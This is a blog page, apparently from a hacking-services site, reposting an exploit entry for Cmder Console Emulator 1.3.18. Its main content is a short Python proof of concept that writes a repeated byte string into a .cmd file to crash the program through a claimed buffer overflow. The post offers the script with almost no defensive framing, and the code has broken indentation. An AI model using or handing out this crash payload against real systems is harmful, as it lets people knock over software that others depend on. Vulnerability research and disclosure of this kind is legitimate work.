Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382340

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC)
# Date: 2021-10-07
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://cmder.net
# Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip
# Version: v1.3.18
# Tested on: Windows 10 

# [About - Cmder Console Emulator] :

#Cmder is a software package created over absence of usable console emulator on Windows.
#It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.

# [Security Issue] : 

#equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition. 
#E.g  λ cmder.cmd

# [POC] :

PAYLOAD=chr(235) + "\\CMDER"
PAYLOAD = PAYLOAD * 3000
with open("cmder.cmd", "w") as f:
f.write(PAYLOAD)